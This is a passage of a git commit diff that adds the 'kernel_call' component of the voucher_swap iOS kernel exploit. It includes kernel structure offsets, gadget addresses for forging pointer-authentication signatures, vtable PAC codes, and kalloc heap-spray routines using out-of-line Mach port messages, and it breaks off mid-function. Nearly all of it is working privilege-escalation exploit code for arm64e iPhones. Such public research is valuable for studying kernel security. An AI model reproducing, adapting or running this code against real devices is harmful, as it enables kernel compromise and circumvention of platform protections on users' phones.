summaryrefslogtreecommitdiff
path: root/kernel_call
diff options
context:
space:
mode:
Diffstat (limited to 'kernel_call')
-rwxr-xr-xkernel_call/IOKitLib.h76
-rwxr-xr-xkernel_call/ipc_port.h52
-rwxr-xr-xkernel_call/kc_parameters.c188
-rwxr-xr-xkernel_call/kc_parameters.h92
-rwxr-xr-xkernel_call/kernel_alloc.c598
-rwxr-xr-xkernel_call/kernel_alloc.h291
-rwxr-xr-xkernel_call/kernel_call.c44
-rwxr-xr-xkernel_call/kernel_call.h93
-rwxr-xr-xkernel_call/kernel_memory.c129
-rwxr-xr-xkernel_call/kernel_memory.h132
-rwxr-xr-xkernel_call/kernel_slide.c88
-rwxr-xr-xkernel_call/kernel_slide.h42
-rwxr-xr-xkernel_call/log.c37
-rwxr-xr-xkernel_call/log.h57
-rwxr-xr-xkernel_call/mach_vm.h46
-rwxr-xr-xkernel_call/pac.c272
-rwxr-xr-xkernel_call/pac.h48
-rwxr-xr-xkernel_call/parameters.c212
-rwxr-xr-xkernel_call/parameters.h130
-rwxr-xr-xkernel_call/platform.c54
-rwxr-xr-xkernel_call/platform.h99
-rwxr-xr-xkernel_call/platform_match.c346
-rwxr-xr-xkernel_call/platform_match.h62
-rwxr-xr-xkernel_call/user_client.c363
-rwxr-xr-xkernel_call/user_client.h91
25 files changed, 3642 insertions, 0 deletions
diff --git a/kernel_call/IOKitLib.h b/kernel_call/IOKitLib.h
new file mode 100755
index 0000000..fdefd8d
--- /dev/null
+++ b/kernel_call/IOKitLib.h
@@ -0,0 +1,76 @@
+/*
+ * IOKitLib.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__IOKITLIB_H_
+#define VOUCHER_SWAP__IOKITLIB_H_
+
+#include <CoreFoundation/CoreFoundation.h>
+#include <mach/mach.h>
+
+typedef mach_port_t io_object_t;
+typedef io_object_t io_connect_t;
+typedef io_object_t io_iterator_t;
+typedef io_object_t io_service_t;
+
+extern const mach_port_t kIOMasterPortDefault;
+
+kern_return_t
+IOObjectRelease(
+ io_object_t object );
+
+io_object_t
+IOIteratorNext(
+ io_iterator_t iterator );
+
+io_service_t
+IOServiceGetMatchingService(
+ mach_port_t masterPort,
+ CFDictionaryRef matching CF_RELEASES_ARGUMENT);
+
+kern_return_t
+IOServiceGetMatchingServices(
+ mach_port_t masterPort,
+ CFDictionaryRef matching CF_RELEASES_ARGUMENT,
+ io_iterator_t * existing );
+
+kern_return_t
+IOServiceOpen(
+ io_service_t service,
+ task_port_t owningTask,
+ uint32_t type,
+ io_connect_t * connect );
+
+kern_return_t
+IOServiceClose(
+ io_connect_t connect );
+
+kern_return_t
+IOConnectCallMethod(
+ mach_port_t connection, // In
+ uint32_t selector, // In
+ const uint64_t *input, // In
+ uint32_t inputCnt, // In
+ const void *inputStruct, // In
+ size_t inputStructCnt, // In
+ uint64_t *output, // Out
+ uint32_t *outputCnt, // In/Out
+ void *outputStruct, // Out
+ size_t *outputStructCnt) // In/Out
+AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
+
+kern_return_t
+IOConnectTrap6(io_connect_t connect,
+ uint32_t index,
+ uintptr_t p1,
+ uintptr_t p2,
+ uintptr_t p3,
+ uintptr_t p4,
+ uintptr_t p5,
+ uintptr_t p6);
+
+CFMutableDictionaryRef
+IOServiceMatching(
+ const char * name ) CF_RETURNS_RETAINED;
+
+#endif
diff --git a/kernel_call/ipc_port.h b/kernel_call/ipc_port.h
new file mode 100755
index 0000000..c48e20d
--- /dev/null
+++ b/kernel_call/ipc_port.h
@@ -0,0 +1,52 @@
+/*
+ * ipc_port.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__IPC_PORT_H_
+#define VOUCHER_SWAP__IPC_PORT_H_
+
+#include <mach/mach.h>
+#include <stdint.h>
+
+// ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
+
+#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
+
+#define WQT_QUEUE 0x2
+
+union waitq_flags {
+ struct {
+ uint32_t /* flags */
+ waitq_type:2, /* only public field */
+ waitq_fifo:1, /* fifo wakeup policy? */
+ waitq_prepost:1, /* waitq supports prepost? */
+ waitq_irq:1, /* waitq requires interrupts disabled */
+ waitq_isvalid:1, /* waitq structure is valid */
+ waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
+ waitq_eventmask:_EVENT_MASK_BITS;
+ };
+ uint32_t flags;
+};
+
+// ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
+
+#define IKOT_NONE 0
+#define IKOT_TASK 2
+
+// ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
+
+#define IO_BITS_KOTYPE 0x00000fff /* used by the object */
+#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
+
+#define io_makebits(active, otype, kotype) \
+ (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
+
+#define IOT_PORT 0
+
+// ---- Custom definitions ------------------------------------------------------------------------
+
+#define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
+
+// ------------------------------------------------------------------------------------------------
+
+#endif
diff --git a/kernel_call/kc_parameters.c b/kernel_call/kc_parameters.c
new file mode 100755
index 0000000..76e483e
--- /dev/null
+++ b/kernel_call/kc_parameters.c
@@ -0,0 +1,188 @@
+/*
+ * kernel_call/kc_parameters.c
+ * Brandon Azad
+ */
+#define KERNEL_CALL_PARAMETERS_EXTERN
+#include "kc_parameters.h"
+
+#include "kernel_slide.h"
+#include "log.h"
+#include "platform.h"
+#include "platform_match.h"
+#include "kern_funcs.h"
+
+// ---- Initialization routines -------------------------------------------------------------------
+
+// A struct describing an initialization.
+struct initialization {
+ const char *devices;
+ const char *builds;
+ void (*init)(void);
+};
+
+// Run initializations matching this platform.
+static size_t
+run_initializations(struct initialization *inits, size_t count) {
+ size_t match_count = 0;
+ for (size_t i = 0; i < count; i++) {
+ struct initialization *init = &inits[i];
+ if (platform_matches(init->devices, init->builds)) {
+ init->init();
+ match_count++;
+ }
+ }
+ return match_count;
+}
+
+// A helper macro to get the number of elements in a static array.
+#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
+
+// ---- Offset initialization ---------------------------------------------------------------------
+
+static void
+offsets__iphone11_8__16C50() {
+ OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
+
+ SIZE(IOExternalTrap) = 0x18;
+ OFFSET(IOExternalTrap, object) = 0;
+ OFFSET(IOExternalTrap, function) = 8;
+ OFFSET(IOExternalTrap, offset) = 16;
+
+ OFFSET(IORegistryEntry, reserved) = 16;
+ OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
+
+ VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
+ VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
+}
+
+// A list of offset initializations by platform.
+static struct initialization offsets[] = {
+ { "*", "*", offsets__iphone11_8__16C50 },
+};
+
+// ---- Address initialization --------------------------------------------------------------------
+
+#define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
+
+static void
+addresses__iphone11_2__16A366() {
+ ADDRESS(paciza_pointer__l2tp_domain_module_start) = GETOFFSET(paciza_pointer__l2tp_domain_module_start);
+ ADDRESS(paciza_pointer__l2tp_domain_module_stop) = GETOFFSET(paciza_pointer__l2tp_domain_module_stop);
+ ADDRESS(l2tp_domain_inited) = GETOFFSET(l2tp_domain_inited);
+ ADDRESS(sysctl__net_ppp_l2tp) = GETOFFSET(sysctl__net_ppp_l2tp);
+ ADDRESS(sysctl_unregister_oid) = GETOFFSET(sysctl_unregister_oid);
+ ADDRESS(mov_x0_x4__br_x5) = GETOFFSET(mov_x0_x4__br_x5);
+ ADDRESS(mov_x9_x0__br_x1) = GETOFFSET(mov_x9_x0__br_x1);
+ ADDRESS(mov_x10_x3__br_x6) = GETOFFSET(mov_x10_x3__br_x6);
+ ADDRESS(kernel_forge_pacia_gadget) = GETOFFSET(kernel_forge_pacia_gadget);
+ ADDRESS(kernel_forge_pacda_gadget) = GETOFFSET(kernel_forge_pacda_gadget);
+ SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
+ OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
+ OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
+ OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
+ ADDRESS(IOUserClient__vtable) = GETOFFSET(IOUserClient__vtable);
+ ADDRESS(IORegistryEntry__getRegistryEntryID) = GETOFFSET(IORegistryEntry__getRegistryEntryID);
+}
+
+// A list of address initializations by platform.
+static struct initialization addresses[] = {
+ { "*", "16A366-16D5024a", addresses__iphone11_2__16A366 },
+};
+
+// ---- PAC initialization ------------------------------------------------------------------------
+
+#if __arm64e__
+
+static void
+pac__iphone11_8__16C50() {
+ INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
+ 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
+ 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
+ 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
+ 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
+ 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
+ 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
+ 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
+ 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
+ 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
+ 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
+ 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
+ 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
+ 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
+ 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
+ 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
+ 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
+ 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
+ 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
+ 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
+ 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
+ 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
+ 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
+ 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
+ 0x2bcb);
+
+ INIT_VTABLE_PAC_CODES(IODTNVRAM,
+ 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
+ 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
+ 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
+ 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
+ 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
+ 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
+ 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
+ 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
+ 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
+ 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
+ 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
+ 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
+ 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
+ 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
+ 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
+ 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
+ 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
+ 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
+ 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
+ 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
+ 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428,
+ 0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584,
+ 0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201,
+ 0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7,
+ 0xb1db, 0x7d35, 0xb06d, 0xcf08);
+}
+
+// A list of PAC initializations by platform.
+static struct initialization pac_codes[] = {
+ { "*", "*", pac__iphone11_8__16C50 },
+};
+
+#endif // __arm64e__
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+kernel_call_parameters_init() {
+ bool ok = kernel_slide_init();
+ if (!ok) {
+ return false;
+ }
+ size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
+ if (count < 1) {
+ ERROR("no kernel_call %s for %s %s", "offsets",
+ platform.machine, platform.osversion);
+ return false;
+ }
+ count = run_initializations(addresses, ARRAY_COUNT(addresses));
+ if (count < 1) {
+ ERROR("no kernel_call %s for %s %s", "addresses",
+ platform.machine, platform.osversion);
+ return false;
+ }
+#if __arm64e__
+ count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
+ if (count < 1) {
+ ERROR("no kernel_call %s for %s %s", "PAC codes",
+ platform.machine, platform.osversion);
+ return false;
+ }
+#endif // __arm64e__
+ return true;
+}
diff --git a/kernel_call/kc_parameters.h b/kernel_call/kc_parameters.h
new file mode 100755
index 0000000..ef717a0
--- /dev/null
+++ b/kernel_call/kc_parameters.h
@@ -0,0 +1,92 @@
+/*
+ * kernel_call/kc_parameters.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
+#define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#include "parameters.h"
+
+#ifdef KERNEL_CALL_PARAMETERS_EXTERN
+#define extern KERNEL_CALL_PARAMETERS_EXTERN
+#endif
+
+// A structure describing the PAC codes used as part of the context for signing and verifying
+// virtual method pointers in a vtable.
+struct vtable_pac_codes {
+ size_t count;
+ const uint16_t *codes;
+};
+
+// Generate the name for an offset in a virtual method table.
+#define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
+
+// Generate the name for a list of vtable PAC codes.
+#define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
+
+// A helper macro for INIT_VTABLE_PAC_CODES().
+#define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
+
+// Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
+// we place it in a static variable. Consequently, this macro will produce name conflicts if used
+// outside a function.
+#define INIT_VTABLE_PAC_CODES(class_, ...) \
+ static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
+ VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
+ .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
+ .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
+ }
+
+extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
+extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
+extern uint64_t ADDRESS(l2tp_domain_inited);
+extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
+extern uint64_t ADDRESS(sysctl_unregister_oid);
+extern uint64_t ADDRESS(mov_x0_x4__br_x5);
+extern uint64_t ADDRESS(mov_x9_x0__br_x1);
+extern uint64_t ADDRESS(mov_x10_x3__br_x6);
+extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
+extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
+extern uint64_t ADDRESS(IOUserClient__vtable);
+extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
+
+extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
+extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
+extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
+extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
+
+extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
+extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM);
+
+// Parameters for IOAudio2DeviceUserClient.
+extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
+
+// Parameters for IOExternalTrap.
+extern size_t SIZE(IOExternalTrap);
+extern size_t OFFSET(IOExternalTrap, object);
+extern size_t OFFSET(IOExternalTrap, function);
+extern size_t OFFSET(IOExternalTrap, offset);
+
+// Parameters for IORegistryEntry.
+extern size_t OFFSET(IORegistryEntry, reserved);
+extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
+
+// Parameters for IOUserClient.
+extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
+extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
+
+/*
+ * kernel_call_parameters_init
+ *
+ * Description:
+ * Initialize the addresses used in the kernel_call subsystem.
+ */
+bool kernel_call_parameters_init(void);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/kernel_alloc.c b/kernel_call/kernel_alloc.c
new file mode 100755
index 0000000..09a06cb
--- /dev/null
+++ b/kernel_call/kernel_alloc.c
@@ -0,0 +1,598 @@
+/*
+ * kernel_alloc.c
+ * Brandon Azad
+ */
+#include "kernel_alloc.h"
+
+#include <assert.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+#include "log.h"
+#include "parameters.h"
+#include "platform.h"
+
+// Compute the minimum of 2 values.
+#define min(a, b) ((a) < (b) ? (a) : (b))
+
+size_t
+message_size_for_kalloc_size(size_t kalloc_size) {
+ if (kalloc_size <= kmsg_zone_size) {
+ return 0;
+ }
+ // Thanks Ian!
+ return ((3 * kalloc_size) / 4) - 0x74;
+}
+
+size_t
+kalloc_size_for_message_size(size_t message_size) {
+ if (message_size <= message_size_for_kmsg_zone) {
+ return 0;
+ }
+ return message_size + ((message_size - 28) / 12) * 4 + 164;
+}
+
+size_t
+ipc_kmsg_size_for_message_size(size_t message_size) {
+ if (message_size <= message_size_for_kmsg_zone) {
+ return kmsg_zone_size;
+ }
+ return kalloc_size_for_message_size(message_size);
+}
+
+// A message containing out-of-line ports.
+struct ool_ports_msg {
+ mach_msg_header_t header;
+ mach_msg_body_t body;
+ mach_msg_ool_ports_descriptor_t ool_ports[0];
+};
+
+size_t
+ool_ports_spray_port(mach_port_t holding_port,
+ const mach_port_t *ool_ports, size_t port_count,
+ mach_msg_type_name_t ool_disposition, size_t ool_count,
+ size_t message_size, size_t message_count) {
+ // Calculate the size of each component.
+ struct ool_ports_msg *msg;
+ // Sanity checks.
+ assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size);
+ assert(port_count * ool_count <= max_ool_ports_per_message);
+ assert(message_count <= MACH_PORT_QLIMIT_MAX);
+ // Allocate a message containing the required number of OOL ports descriptors.
+ msg = calloc(1, message_size);
+ assert(msg != NULL);
+ // Trace the kalloc allocations we're about to perform.
+ DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__,
+ ool_count * message_count, port_count * sizeof(uint64_t),
+ message_count, kalloc_size_for_message_size(message_size));
+ // If the user didn't supply any ool_ports, create our own.
+ mach_port_t *alloc_ports = NULL;
+ if (ool_ports == NULL) {
+ alloc_ports = calloc(port_count, sizeof(mach_port_t));
+ assert(alloc_ports != NULL);
+ ool_ports = alloc_ports;
+ }
+ // Populate the message. Each OOL ports descriptor will be a kalloc.
+ msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
+ msg->header.msgh_remote_port = holding_port;
+ msg->header.msgh_size = (mach_msg_size_t) message_size;
+ msg->header.msgh_id = 'ools';
+ msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count;
+ mach_msg_ool_ports_descriptor_t ool_descriptor = {};
+ ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ ool_descriptor.address = (void *) ool_ports;
+ ool_descriptor.count = (mach_msg_size_t) port_count;
+ ool_descriptor.deallocate = FALSE;
+ ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY;
+ ool_descriptor.disposition = ool_disposition;
+ for (size_t i = 0; i < ool_count; i++) {
+ msg->ool_ports[i] = ool_descriptor;
+ }
+ // Send the messages.
+ size_t messages_sent = 0;
+ for (; messages_sent < message_count; messages_sent++) {
+ kern_return_t kr = mach_msg(
+ &msg->header,
+ MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
+ (mach_msg_size_t) message_size,
+ 0,
+ MACH_PORT_NULL,
+ MACH_MSG_TIMEOUT_NONE,
+ MACH_PORT_NULL);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
+ break;
+ }
+ }
+ // Clean up the allocated ports.
+ if (alloc_ports != NULL) {
+ free(alloc_ports);
+ }
+ // Return the number of messages we sent.
+ return messages_sent;
+}
+
+/*
+ * kalloc_spray_compute_message_shape
+ *
+ * Description:
+ * Compute the shape of a message to maximally spray the specified kalloc zone. This spray is
+ * good for consuming memory, not for overwriting memory with specific contents.
+ */
+static void
+kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone,
+ size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) {
+ assert(kmsg_zone_size < kalloc_min);
+ assert(kalloc_min <= kalloc_zone);
+ // We always want to maximize the number of OOL port kalloc allocations per message, so let
+ // the message take up the a full zone element if needed.
+ size_t max_message_size = message_size_for_kalloc_size(kalloc_zone);
+ // Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message,
+ // we always want to send the minimum number of OOL ports in each descriptor (since adding
+ // more ports in a descriptor only counts against the limit without increasing the number
+ // of allocations). Thus, use the smallest number of ports that gets us at least
+ // kalloc_min.
+ size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t);
+ // How many OOL ports descriptors can we send per message? As many as we'd like, as long
+ // as:
+ // 1. we have space for them in the message, and
+ // 2. we don't blow through the max_ool_ports_per_message limit.
+ size_t max_ools_by_message_size =
+ (max_message_size - sizeof(mach_msg_base_t))
+ / sizeof(mach_msg_ool_ports_descriptor_t);
+ size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_;
+ size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit);
+ // Now that we know how many OOL ports descriptors we can send per message, let's calculate
+ // the message size. If the message size is too small, we'll just round it up.
+ size_t message_size_ = sizeof(mach_msg_base_t)
+ + ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t);
+ assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
+ if (kalloc_size_for_message_size(message_size_) < kalloc_min) {
+ size_t kalloc_min_rounded = (kalloc_min + 15) & ~15;
+ message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3;
+ }
+ assert(kalloc_min <= kalloc_size_for_message_size(message_size_));
+ assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
+ // Return the values.
+ *message_size = message_size_;
+ *ools_per_message = ools_per_message_;
+ *ports_per_ool = ports_per_ool_;
+}
+
+size_t
+kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
+ size_t kalloc_count) {
+ // First compute the message shape for spraying the specified zone.
+ size_t message_size, ools_per_message, ports_per_ool;
+ kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone,
+ &message_size, &ools_per_message, &ports_per_ool);
+ assert(min_kalloc_size <= kalloc_size_for_message_size(message_size));
+ assert(kalloc_size_for_message_size(message_size) <= kalloc_zone);
+ assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t));
+ assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone);
+ assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size);
+ // How many allocations does each message we send give us? Well, there's 1 allocation for
+ // the message and 1 allocation for each OOL ports descriptor.
+ size_t kallocs_per_message = 1 + ools_per_message;
+ // How many full/partial messages will we need to spray kalloc_count allocations? If the
+ // number of full messages is greater than the queue limit, truncate to that many messages.
+ size_t full_message_count = kalloc_count / kallocs_per_message;
+ size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message;
+ if (full_message_count >= MACH_PORT_QLIMIT_MAX) {
+ full_message_count = MACH_PORT_QLIMIT_MAX;
+ partial_message_kalloc_count = 0;
+ }
+ // Alright, so now we have all the parameters we need. Spray all the full messages to the
+ // port.
+ DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, "
+ "%zu ports per descriptor, %zu kallocs (%zu bytes) per message",
+ __func__, full_message_count, ools_per_message, ports_per_ool,
+ kallocs_per_message, kallocs_per_message * kalloc_zone);
+ size_t full_messages_sent = ool_ports_spray_port(
+ holding_port,
+ NULL,
+ ports_per_ool,
+ MACH_MSG_TYPE_MAKE_SEND,
+ ools_per_message,
+ message_size,
+ full_message_count);
+ size_t full_messages_kallocs = full_messages_sent * kallocs_per_message;
+ // If we sent all the full messages (indicating no errors were encountered) and we also
+ // want to send a partial message, send that.
+ size_t partial_message_kallocs = 0;
+ if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) {
+ size_t partial_message_ools = partial_message_kalloc_count - 1;
+ size_t partial_messages_sent = ool_ports_spray_port(
+ holding_port,
+ NULL,
+ ports_per_ool,
+ MACH_MSG_TYPE_MAKE_SEND,
+ partial_message_ools,
+ message_size,
+ 1);
+ partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count;
+ }
+ // Finally, return the total number of kallocs stashed in our port.
+ assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count);
+ return full_messages_kallocs + partial_message_kallocs;
+}
+
+size_t
+kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
+ size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) {
+ size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone;
+ size_t count = *port_count;
+ // Spray to each of the ports in turn.
+ size_t kallocs_left = kallocs_needed;
+ size_t ports_used = 0;
+ for (; ports_used < count && kallocs_left > 0; ports_used++) {
+ size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used],
+ min_kalloc_size, kalloc_zone, kallocs_left);
+ assert(kallocs_done <= kallocs_left);
+ kallocs_left -= kallocs_done;
+ }
+ // Compute how many kallocs were actually performed.
+ size_t kallocs_done = kallocs_needed - kallocs_left;
+ if (kallocs_left > 0) {
+ WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone);
+ }
+ // Return the number of ports actually used and the number of bytes actually sprayed.
+ *port_count = ports_used;
+ return kallocs_done * kalloc_zone;
+}
+
+mach_port_t *
+create_ports(size_t count) {
+ mach_port_t *ports = calloc(count, sizeof(*ports));
+ assert(ports != NULL);
+ mach_port_options_t options = {};
+ for (size_t i = 0; i < count; i++) {
+ kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
+ assert(kr == KERN_SUCCESS);
+ }
+ return ports;
+}
+
+void
+destroy_ports(mach_port_t *ports, size_t count) {
+ for (size_t i = 0; i < count; i++) {
+ mach_port_t port = ports[i];
+ if (MACH_PORT_VALID(port)) {
